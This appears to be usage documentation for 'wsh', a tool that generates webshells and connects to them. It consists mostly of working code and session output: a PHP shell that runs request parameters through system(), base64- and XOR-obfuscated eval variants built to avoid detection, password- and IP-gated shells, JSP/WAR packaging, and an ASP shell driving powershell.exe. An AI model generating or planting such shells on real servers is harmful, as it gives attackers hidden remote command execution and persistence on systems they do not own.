wsh generate <language> [flags]
wsh g <language> [flags]

-X, --method string        HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string         Parameter for sending command
    --header string        Header for sending command
-w, --whitelist strings    IP addresses to whitelist
-o, --outfile string       Output file
    --no-file              Disable file upload/download capabilities
    --pass string          Password protect shell
    --pass-header string   Header for sending password
    --pass-param string    Parameter for sending password
    --xor-header string    Header for sending xor key
    --xor-key string       Key for xor encryption
    --xor-param string     Parameter for sending xor key
    --base64               Base64 encode shell
    --minify               Minify webshell code
-t, --template string      Webshell template file
-h, --help                 help for generate

$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath]  Download file
put <local filepath> [remote filepath]  Upload file
clear                                   Clear screen
exit                                    Exits shell

$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --param cmd

<?php
  $MfOb = $_REQUEST['cmd'];
  $MfOb = trim($MfOb);
  system($MfOb);
  die;
?>

$ wsh generate php --no-file --header user-agent  -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --header user-agent

$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>

$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
  for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
    $oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
  }
}
eval($oooqt);
?>

$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp

$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/27/2020  11:49 PM                config
d-----        5/27/2020  11:49 PM                en
d-----        5/28/2020  12:25 AM                en-US
-a----        5/27/2020  11:49 PM         119808 appcmd.exe

127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...

[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs

$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre>
README.md
cmd
example-configs
index.php
main.go
templates
        </pre>
    </div>
. . .

$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates